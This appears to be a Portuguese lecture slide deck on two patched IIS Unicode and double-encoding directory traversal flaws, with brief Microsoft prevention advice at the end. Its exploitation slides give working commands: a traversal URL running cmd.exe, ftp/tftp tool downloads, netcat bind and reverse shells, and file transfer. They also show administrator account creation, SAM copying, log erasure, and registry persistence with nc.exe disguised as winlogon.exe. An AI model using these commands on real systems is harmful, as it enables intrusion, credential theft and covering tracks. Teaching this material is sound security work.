Vulnerabilidade de Unicode
Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo: http://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir Descoberta em Outubro de 2000 Reparado pela Microsoft no Security Bulletin MS00-078
Primeira Vulnerabilidade Problema não é necessariamente Unicode (UCS-2) Vulnerabilidade reside no UTF-8 Unicode Transformation Format U-00000000 - U-0000007F: 0xxxxxxx U-00000080 - U-000007FF: 110xxxxx 10xxxxxx U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
Primeira Vulnerabilidade UTF-8:múltiplas representações para o mesmo caracter Exemplo: caracter ‘/’ 0xAF (esta é a “válida”) 0xC0 0xAF 0xE0 0x80 0xAF 0xF0 0x80 0x80 0xAF 0xF8 0x80 0x80 0x80 0xAF 0xFC 0x80 0x80 0x80 0x80 0xAF Sempre deve ser usada a representação mais curta
Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Vulnerabilidade: Verificação do caminho do URL (sem processar UTF-8) Acesso ao arquivo (com processamento do UTF-8) http://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
Segunda Vulnerabilidade IIS/PWS Escaped Character Decoding Correção da primeira vulnerabilidade: Tratamento do UTF-8 Verificação do caminho do URL (sem tratar UTF) Acesso ao arquivo (com processamento do UTF-8) Nova vulnerabilidade: Dupla codificação Descoberta em Maio de 2001 Reparado pela Microsoft no Security Bulletin MS01-026
Segunda Vulnerabilidade Dupla codificação Exemplo: caracter ‘\’ Representação válida: %5c Mas % = %25, 5 = %35, c = %63 Então tem-se: %255c (%25 5c = % 5c) %%35%63 (% 5 c) %25%35%63 (% 5 c) Verificação do caminho realizava uma decodificação Acesso ao arquivo realizava outra decodificação!
Exploração Executar o programa cmd.exe: http://www.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir Porque copiar cmd.exe para outro diretório? Para evitar a ACL (access control list) definida para o usuário IUSR (Internet User) no diretório system32 (comando echo não criaria arquivo)
Exploração Como copiar arquivos para o servidor? Via ftp: "cmd /c echo user nome > ftpcom" "cmd /c echo password >> ftpcom" "cmd /c echo get samdump.dll >> ftpcom" "cmd /c echo get pdump.exe >> ftpcom" "cmd /c echo get nc.exe >> ftpcom" "cmd /c echo quit >> ftpcom" "cmd /c ftp -s:ftpcom -n servidor.dominio.net"
Exploração Como copiar arquivos para o servidor? Via tftp: "tftp -i ip.servidor GET nome.arquivo.exe" "tftp -i ip.servidor GET nome.arquivo.exe caminho.e.nome.local.exe" ip.servidor é o nome de uma máquina executando TFTPD (daemon de tftp)
Exploração Que arquivos copiar para o servidor? Novas páginas HTML (com imagens) “Utilitários” como NetCat (nc.exe) nc -l -p PORT -e PROGRAM -l (listen) -p PORT (número da porta) -e PROGRAM (qual programa executar)
Exploração Usos do NetCat Como port scanner: nc -v -w2 -z target 20-30 -v (verboso) -w2 (tempo de espera em segundos) target (a máquina alvo) 20-30 (intervalo de portas para scanning) -z (zero I/O)
Exploração Usos do NetCat Para obter um banner: nc -v -n ip.target 80 -v (verboso) -n (endereço é numérico, não usa DNS) ip.target (número IP da máquina alvo) 80 (número da porta)
Exploração Usos do NetCat Para instalar um backdoor (na porta 10001): Na máquina alvo: nc -l -p 10001 -e cmd.exe -l (listen) -p 10001 (número da porta) -e cmd.exe (qual programa executar) Na máquina do atacante: nc -v -n ip.alvo 10001 -v (verboso) -n ip.alvo (número IP da máquina alvo) 10001 (número da porta)
Exploração Usos do NetCat Para instalar um backdoor "cliente": Na máquina do atacante: nc -l -p 10001 -l (listen) -p 10001 (número da porta) Na máquina alvo: nc -v -n ip.atacante 10001 -e cmd.exe -v (verboso) -n ip.atacante (número IP da máquina atacante) 10001 (número da porta)
Exploração Usos do NetCat Para transferir um arquivo: Na máquina alvo: nc -l -p 1234 >hack.txt -l (listen) -p 1234 (número da porta) >hack.txt (nome do arquivo) Na máquina do atacante: nc destino 1234 <hack.txt
Exploração Uma vez em um servidor Microsoft…. Para criar uma conta: "cmd /c net user testuser UgotHacked /ADD" Adicionar ao grupo de administradores: "cmd /c net localgroup Administrators testuser /ADD" Criar um a cópia do arquivo SAM: "cmd /c c:\winnt\repair\rdisk /s- " Encontrar o arquivo de log: "cmd /c dir /S c:\*W3SVC32" (Depois é só apagar ou sobrescrever)
Ativar o backdoor Via Registro: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Para maior eficácia, renomear "nc.exe" para algo menos suspeito, como "winlogon.exe" :-)
Ativar o backdoor Via comando AT (Schedule): AT [\\computername] time [/EVERY:date] [/NEXT:date] "command" \\computername : nome do computador remoto, ou computador local, se omitido time : hora quando o comando deve ser executado /EVERY:date : dia do mês (ou semana) /NEXT:date : dia do mês (ou semana) "command": comando Windows ou arquivo batch a executar
Prevenção De acordo com a própria Microsoft: Install your web folders on a drive other than the system drive Eliminate all sample files and unneeded features from your site Move, rename or delete any command-line utilities that could assist an attacker, and set restrictive permissions on them Be sure that the IUSR_machinename account does not have write access to any files on your system